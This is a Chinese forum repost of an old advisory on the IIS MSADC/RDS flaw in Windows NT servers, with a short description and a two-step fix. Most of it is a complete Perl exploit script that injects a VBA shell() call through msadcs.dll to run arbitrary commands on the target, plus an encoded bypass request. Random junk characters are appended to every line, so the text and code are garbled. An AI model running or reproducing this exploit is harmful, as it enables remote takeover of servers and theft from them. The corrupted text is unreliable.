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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) TZ]Gl4 @  
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涉及程序: P@![P Ij  
Microsoft NT server ]h8V{%H  
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描述: g2_df3Q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 qUg4-Z4  
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详细: 4f~ZY]|nM  
如果你没有时间读详细内容的话,就删除: LBi>D`]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll JKbB,  
有关的安全问题就没有了。 ^0~1/ PhOw  
P z!yIj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z Ns8\  
X~4:sJ\P=  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 8jx1W9=`9[  
关于利用ODBC远程漏洞的描述,请参看: 6Izv&  
PKG ,4v=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hiM!htc;M  
h--!pE+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 R;ug+N  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp IbQ~f+y&2  
Q1B! W  
这里不再论述。 pLcng[  
_n gMC]-T  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: nuA!Jln_  
J#WPXE+Ds  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Kf5p* AI  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _kLoDju%  
C#0Wo  
]<= t  
#将下面这段保存为txt文件,然后: "perl -x 文件名" >>xV-1h:  
g?M69~G$:x  
#!perl r!uAofIi_  
# FvP1;E  
# MSADC/RDS 'usage' (aka exploit) script [: j_Y3-9  
# /q]@|5I  
# by rain.forest.puppy M 4?3l  
# V> SA3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me (*gpa:Sc  
# beta test and find errors! &6EfybAt^_  
)HE yTHLtJ  
use Socket; use Getopt::Std; Pl6=._  
getopts("e:vd:h:XR", \%args); ]x\wP7x  
Ymvd= F   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 1OL~)X3  
VG^-aR_F  
if (!defined $args{h} && !defined $args{R}) { S22; g  
print qq~ uIwyan-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } lEs/_f3;A  
-h <host> = host you want to scan (ip or domain) 3!x)LUWfWY  
-d <seconds> = delay between calls, default 1 second 9-SXu lgu  
-X = dump Index Server path table, if available &YMj\KmlSg  
-v = verbose uuB\~ #?T  
-e = external dictionary file for step 5 hn .fX:}  
mqw.v$>  
Or a -R will resume a command session aQ. \!&U  
ha 5\T'  
~; exit;} _,Y79 b6  
hT#mM*`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; P&;I]2#  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ^Pwq`G A  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} VGIc|Q=F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 7h~M&\M  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} VPbNLi  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 2XpGgG`2`C  
* PPFk.#x  
if (!defined $args{R}){ $ret = &has_msadc; 3 Gkw.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} bcfOp A  
10 ^=1@U  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" / [M~##%:  
. "cmd /c "; Rz]bCiD3 B  
$in=<STDIN>; chomp $in; v/dcb%  
$command="cmd /c " . $in ; *<1m 2t>.  
UHWun I S  
if (defined $args{R}) {&load; exit;} d8po`J#nb  
=t2epIr 5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; NKws;/u  
&try_btcustmr; ImVe 71mh  
G y2XjO8b  
print "\nStep 2: Trying to make our own DSN..."; |99eDgK,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; M\3!elp2z  
ovp>"VuC  
print "\nStep 3: Trying known DSNs..."; ^ z;pP  
&known_dsn; .v{ty  
"mA/:8`Q  
print "\nStep 4: Trying known .mdbs..."; _QY "#  
&known_mdb; l ki(_ @3  
8:MYeE5  
if (defined $args{e}){ Q@R8qc=*  
print "\nStep 5: Trying dictionary of DSN names..."; "+AD+D  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } J2rH<Fd[up  
c 9@*  
print "Sorry Charley...maybe next time?\n"; {Bx\Z0+'&  
exit; hSmM OS{  
gqG"t@Y+  
############################################################################## >e%Po,Fg$  
<V{BRRx  
sub sendraw { # ripped and modded from whisker QHK$  
sleep($delay); # it's a DoS on the server! At least on mine... YeVhWPn@  
my ($pstr)=@_; \JchcQ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || n$QFj'  
die("Socket problems\n"); ,bJx| K  
if(connect(S,pack "SnA4x8",2,80,$target)){ Bb)J8,LQ  
select(S); $|=1; n)yqb  
print $pstr; my @in=<S>; )XFMlSx)  
select(STDOUT); close(S); 7VraWW`H'  
return @in; V#gXchH[L  
} else { die("Can't connect...\n"); }} xS'So7:h  
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############################################################################## =0S7tNut  
\c)XN<HH  
sub make_header { # make the HTTP request  `S|gfJ  
my $msadc=<<EOT KH-.Z0 2U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 SWt"QqBU  
User-Agent: ACTIVEDATA hwJ.M4  
Host: $ip $HRpG  
Content-Length: $clen ^*W3{eyi(L  
Connection: Keep-Alive 6tM{cK%v1  
-kO=pYP*O  
ADCClientVersion:01.06 ocvBKsfhE`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D c^d$gh  
7^1ikmYY  
--!ADM!ROX!YOUR!WORLD! v-o/zud]]  
Content-Type: application/x-varg m(Oup=\%b}  
Content-Length: $reqlen !u"Hf7/  
Y+E@afsKs  
EOT rqIt}(J  
; $msadc=~s/\n/\r\n/g; V+Z22  
return $msadc;} ;8!D8o(+  
+=O:z *O  
############################################################################## GC~::m~  
h W-[omr0  
sub make_req { # make the RDS request P VPwYmte  
my ($switch, $p1, $p2)=@_; ;Zw28!#Rt  
my $req=""; my $t1, $t2, $query, $dsn; F~ :5/-zs  
b$BUo8O}  
if ($switch==1){ # this is the btcustmr.mdb query z9gZ/d   
$query="Select * from Customers where City=" . make_shell(); S9.jc@#.`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7W*OyH^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (L\tp> E-  
D4G{= Y}G  
elsif ($switch==2){ # this is general make table query N4Ym[l  
$query="create table AZZ (B int, C varchar(10))"; eWFlJ;=  
$dsn="$p1";} Rj8l]m6U9  
!vU[V,~  
elsif ($switch==3){ # this is general exploit table query =LC5o2bLy  
$query="select * from AZZ where C=" . make_shell(); = #`FXO1C  
$dsn="$p1";} Q{%ow:;s*  
',.Xn`c  
elsif ($switch==4){ # attempt to hork file info from index server `bi5#xR  
$query="select path from scope()"; .]" o-(gB  
$dsn="Provider=MSIDXS;";} )}EwEM  
87-oR}/r  
elsif ($switch==5){ # bad query Y=5hm  
$query="select"; &CS=*)>$  
$dsn="$p1";} \"Np'$4eu  
P?I"y,_ p  
$t1= make_unicode($query); XjV7Ew^7  
$t2= make_unicode($dsn); :r\<DVj  
$req = "\x02\x00\x03\x00"; Tb}b*d3  
$req.= "\x08\x00" . pack ("S1", length($t1)); ALG +  
$req.= "\x00\x00" . $t1 ; f"[C3o2P  
$req.= "\x08\x00" . pack ("S1", length($t2)); (Fu9lW}n  
$req.= "\x00\x00" . $t2 ; 35ng_,t $  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _|F h^hq  
return $req;} u+]zi"k^s  
]$7|1-&Y  
############################################################################## %T&kK2d;  
MT3UJ6~P  
sub make_shell { # this makes the shell() statement M|\ XFO  
return "'|shell(\"$command\")|'";} qU}[( 9~Ru  
g ,.iM8  
############################################################################## wBr0s *1I  
<fP|<>s$@1  
sub make_unicode { # quick little function to convert to unicode 2JbCYCTC  
my ($in)=@_; my $out; ej0q*TH.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } D;Z\GnD  
return $out;} iM\W"OUl[  
RW3&]l=  
############################################################################## s}5;)>3~@  
B${Q Y)t  
sub rdo_success { # checks for RDO return success (this is kludge) ?&[`=ZVn  
my (@in) = @_; my $base=content_start(@in); rT x]%{  
if($in[$base]=~/multipart\/mixed/){ >OQ<wO6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ETmfy}V8  
return 0;} 5-MI 7I@l  
c+q4sNnE  
############################################################################## Qml<JF  
 G=wJz  
sub make_dsn { # this makes a DSN for us CrK}mbe  
my @drives=("c","d","e","f"); s8R.?mhH=  
print "\nMaking DSN: "; qLcs)&}/A  
foreach $drive (@drives) { F&ux9zP  
print "$drive: "; -ohqw+D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . <FP&1Eg!|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -&+[/  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); VLRW,lR9O  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Wu:evaZ:i  
return 0 if $2 eq "404"; # not found/doesn't exist O5E\#*<K  
if($2 eq "200") { u-8,9  
foreach $line (@results) { tYVmB:l  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} LnLuWr<;}  
} return 0;} t)5bHVx  
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############################################################################## Qax=_[r  
BeBa4s  
sub verify_exists { *S7<QyVh  
my ($page)=@_; p2\@E} z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); aCQAh[T  
return $results[0];} "I u3&mc  
V4_ZBeWA  
############################################################################## WxFVbtw  
HG{OkDx]fl  
sub try_btcustmr { <&B)i\j8=b  
my @drives=("c","d","e","f"); G/b $cO}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Uh{|@D  
@?TOg{:  
foreach $dir (@dirs) { "HlT-0F  
print "$dir -> "; # fun status so you can see progress 1a`dB ~>  
foreach $drive (@drives) { WSUU_^.  
print "$drive: "; # ditto n%A)#AGGc  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; u`g|u:(r  
$reqlenlen=length( "$reqlen" );  {ZB7,\  
$clen= 206 + $reqlenlen + $reqlen; nzU^G)  
"OkJPu2!W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Y'0H2B8  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} dxsPX =\:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |%Pd*yZA  
CnN PziB  
############################################################################## "luMz;B  
uvi+#4~G  
sub odbc_error { ,-D3tleu`  
my (@in)=@_; my $base; Ns Pt1_ Y8  
my $base = content_start(@in); b{_J%p  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this mqQN*.8*  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YB*I'm3q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ibha`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; O,u$L  
return $in[$base+4].$in[$base+5].$in[$base+6];} "|`euxYV  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; cJ=0zEv  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . x:4 :G(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} @!`x^Tzz  
/d*d'3{c  
############################################################################## N 8 n`f  
^O}`i  
sub verbose { )CKPzNf  
my ($in)=@_; "=@X>jUc  
return if !$verbose; O!#r2Y"?K1  
print STDOUT "\n$in\n";} '| WY 2>/(  
,#m:U5#h  
############################################################################## {W,&jC  
*d b,N'rK  
sub save { fgdqp8~  
my ($p1, $p2, $p3, $p4)=@_; 5Sl vCL  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; BS!VAHO"V  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \xR1|M  
close OUT;} /6QwV->  
*> LA30R*v  
############################################################################## ;LD!eWSK,  
5o2w)<d!  
sub load { 4d-f 6iiFV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~lib~Y'-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); NCL!|  
@p=<IN>; close(IN); JS$ojL^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Cl&YN}t5  
$target= inet_aton($ip) || die("inet_aton problems"); gaV>WF  
print "Resuming to $ip ..."; wl7G6Y2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Lh\ 1L  
if($p[1]==1) { m9M#)<@*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; P:KS*lOp  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; d;@"Naw  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~HBQQt  
if (rdo_success(@results)){print "Success!\n";} VUmf;~  
else { print "failed\n"; verbose(odbc_error(@results));}} &L`^\B]k|  
elsif ($p[1]==3){ VH M&Y-G  
if(run_query("$p[3]")){ kn %i#Fz  
print "Success!\n";} else { print "failed\n"; }} 6 );8z!+  
elsif ($p[1]==4){ x,L<{A`z  
if(run_query($drvst . "$p[3]")){ , Ox$W  
print "Success!\n"; } else { print "failed\n"; }} Q,v/]bXd  
exit;} eI%9.Cx#I  
gxPu/VD4  
############################################################################## %[B^b)2  
/xq^]0xy  
sub create_table { #|8Ia:=s  
my ($in)=@_; >UNx<=ry  
$reqlen=length( make_req(2,$in,"") ) - 28; z* k(` '  
$reqlenlen=length( "$reqlen" ); h>k[  
$clen= 206 + $reqlenlen + $reqlen; XCvL`  
my @results=sendraw(make_header() . make_req(2,$in,"")); Cg_9V4h.C  
return 1 if rdo_success(@results); u'`eCrKT*  
my $temp= odbc_error(@results); verbose($temp); ;|U !\Xp  
return 1 if $temp=~/Table 'AZZ' already exists/; lV".-:u_  
return 0;} q]Vxf!0*>  
_TntZv.?  
############################################################################## ANWfRtiU#  
z>]P_E~`}  
sub known_dsn { fQQj2> 3w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;-kC&GZf  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", R`KlG/Tk  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Xrl# DN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); L0.F }~S  
Q%r KKOX8  
foreach $dSn (@dsns) { F ~SA3M:  
print "."; L%;fYi;n  
next if (!is_access("DSN=$dSn")); QZ& 4W  
if(create_table("DSN=$dSn")){ WA((>Daf]  
print "$dSn successful\n"; z94#:jPmG  
if(run_query("DSN=$dSn")){ $:|?z_@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o4U0kiI@  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8B! MgNKV  
B@k2lHks(  
############################################################################## 56o(gCj?y  
Q2qT[aD,  
sub is_access { *Za'^Z2  
my ($in)=@_; dOX"7kZ  
$reqlen=length( make_req(5,$in,"") ) - 28; ?k`UQi]Q  
$reqlenlen=length( "$reqlen" ); 'D'H)J  
$clen= 206 + $reqlenlen + $reqlen; "O~7s}  
my @results=sendraw(make_header() . make_req(5,$in,"")); 18,;2Sr44  
my $temp= odbc_error(@results); b|pp}il  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); u.ej<Lo  
return 0;} !mH !W5&  
+\-cf,WkI  
############################################################################## :'2h0 5R  
R =kXf/y  
sub run_query { :Z%-&) F  
my ($in)=@_; xL [3R   
$reqlen=length( make_req(3,$in,"") ) - 28; mor[AJ  
$reqlenlen=length( "$reqlen" ); p(>D5uN_}5  
$clen= 206 + $reqlenlen + $reqlen; 1z3>nou2{  
my @results=sendraw(make_header() . make_req(3,$in,"")); fG zx;<0P!  
return 1 if rdo_success(@results);  < v1.+  
my $temp= odbc_error(@results); verbose($temp); ~jJF&*)  
return 0;} / %1-tGh  
*b7evU *1  
############################################################################## % oJH 6F  
]TVc 'G;  
sub known_mdb { {X 5G  
my @drives=("c","d","e","f","g"); ra;:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4s9q Q8?  
my $dir, $drive, $mdb; m yy*rt  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; a$K6b5`>Rs  
osn ,kD*  
# this is sparse, because I don't know of many +2+|zXmT  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oT0:Ny  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "m > BE  
"\\system32\\certmdb.mdb", 4Ss*h,Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `m}G{jfk  
Y0yu,   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", {ub'   
"\\cfusion\\cfapps\\forums\\forums_.mdb", V%'' GF   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", L8J] X7  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ax6zx  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;#L]7ZY9:-  
"\\cfusion\\database\\cfexamples.mdb", .Zc:$"gDu  
"\\cfusion\\database\\cfsnippets.mdb", D@%!|:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &PPYxg<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 40aD\S>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", (y s<{Y-;  
"\\cfusion\\database\\smpolicy.mdb", F9k}zAY\J  
"\\cfusion\\database\cypress.mdb", 4C[kj  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?$MO!  
"\\website\\cgi-win\\dbsample.mdb", Z.`0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4-BrE&2f  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" rgo!t028^  
); #these are just j-d542"  
foreach $drive (@drives) { woa|h"T  
foreach $dir (@dirs){ 5 qMP u|A  
foreach $mdb (@sysmdbs) { 1HLU &  
print "."; H#M;TjR  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0a9[}g1=#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; l{QlJ>%~{;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ BCO (,k  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; dVMLn4[,MA  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >>c%I c  
(coaGQ@d  
foreach $drive (@drives) { ?rY+,nQP  
foreach $mdb (@mdbs) { Gd`s01GKQ  
print "."; +TAyCxfmt  
if(create_table($drv . $drive . $dir . $mdb)){ ]c1#_MW  
print "\n" . $drive . $dir . $mdb . " successful\n"; kzVK%[/  
if(run_query($drv . $drive . $dir . $mdb)){ wlQ @3RN>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; p+228K ;H  
} else { print "Something's borked. Use verbose next time\n"; }}}} .l,]yWwfK  
} Y4+iNdd  
!$/P8T``M  
############################################################################## 7pN&fAtj/  
n\< uT1n  
sub hork_idx { dXPTW;w  
print "\nAttempting to dump Index Server tables...\n"; LVy`U07CV  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _q4Yq'dI  
$reqlen=length( make_req(4,"","") ) - 28; r)B55;*Fh  
$reqlenlen=length( "$reqlen" ); G.r =fNP  
$clen= 206 + $reqlenlen + $reqlen; IH`7ou{  
my @results=sendraw2(make_header() . make_req(4,"","")); MAp#1+k  
if (rdo_success(@results)){ 7X8*7'.2  
my $max=@results; my $c; my %d; #7"";"{ z|  
for($c=19; $c<$max; $c++){ J\FLIw4  
$results[$c]=~s/\x00//g; oBs5xH7@-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G^Y^)pc]   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )LsUO#%DO  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *to#ZMR;!  
$d{"$1$2"}="";} i*8j|  
foreach $c (keys %d){ print "$c\n"; } ] f5vk  
} else {print "Index server doesn't seem to be installed.\n"; }} K+d{R=s^  
(:^YfG~e  
############################################################################## {P3gMv;  
%_G '#Bn<  
sub dsn_dict { mz<X$2]?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Y-,S_59  
while(<IN>){ EN__C$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; KpIY>k  
next if (!is_access("DSN=$dSn")); ,."wxP2u  
if(create_table("DSN=$dSn")){ RU~Pa+H  
print "$dSn successful\n"; TEbIU8{Y  
if(run_query("DSN=$dSn")){ i6S["\h>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1d$wP$  
print "Something's borked. Use verbose next time\n";}}} W)^%/lAh  
print "\n"; close(IN);} %0({ MU  
q,OCA\  
############################################################################## J\ N&u#  
*q;83\  
sub sendraw2 { # ripped and modded from whisker WR u/7$8  
sleep($delay); # it's a DoS on the server! At least on mine... D&=+PAX  
my ($pstr)=@_; X5(oL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ><$V:nsEO  
die("Socket problems\n"); 3T>6Q#W5eO  
if(connect(S,pack "SnA4x8",2,80,$target)){ '3~m},0  
print "Connected. Getting data"; =>JA; ft  
open(OUT,">raw.out"); my @in; \9~Q+~@{G  
select(S); $|=1; print $pstr; F&C< = l\X  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Urol)_3X  
close(OUT); select(STDOUT); close(S); return @in; n<F3&2w  
} else { die("Can't connect...\n"); }} It VVI"-  
p<&>1}j=  
############################################################################## Y/LS(b*  
"Bz#5kqnl  
sub content_start { # this will take in the server headers VA`VDUG,  
my (@in)=@_; my $c; PP/#Z~.M  
for ($c=1;$c<500;$c++) { $GOF'  
if($in[$c] =~/^\x0d\x0a/){ 2@Q5Ta #h  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ].Ra=^q  
else { return $c+1; }}} .krEfY&  
return -1;} # it should never get here actually LoOw]@>  
 z@~mu  
############################################################################## bM }zGFt  
2IP<6l8N  
sub funky { =$T[  
my (@in)=@_; my $error=odbc_error(@in); TH55@1W,[  
if($error=~/ADO could not find the specified provider/){ ~@e=+Z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; I,aaSBwt&2  
exit;} I,"q:QS+  
if($error=~/A Handler is required/){ ] VEc9?  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4q?R3 \e;  
exit;} ?kRx;S+  
if($error=~/specified Handler has denied Access/){ tOZ-]>U  
print "\nServer has custom handler filters (they most likely are patched)\n"; P)~olrf  
exit;}} LoSrXK~0~J  
LMN`<R(q]  
############################################################################## YRv}w3yQ  
QWWI  
sub has_msadc { crx%;R   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |QQ(1#d  
my $base=content_start(@results); rl2(DA{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y1F%-o  
return 0;} XsSDz}dg  
fo <nk|i  
######################## TkIiO>  
ks,d4b=->  
h\5~&}Hp  
解决方案: b?2 \j}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hpq\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P%d3fFzK  
%WqUZ+yy  
拿出来充数 哈哈
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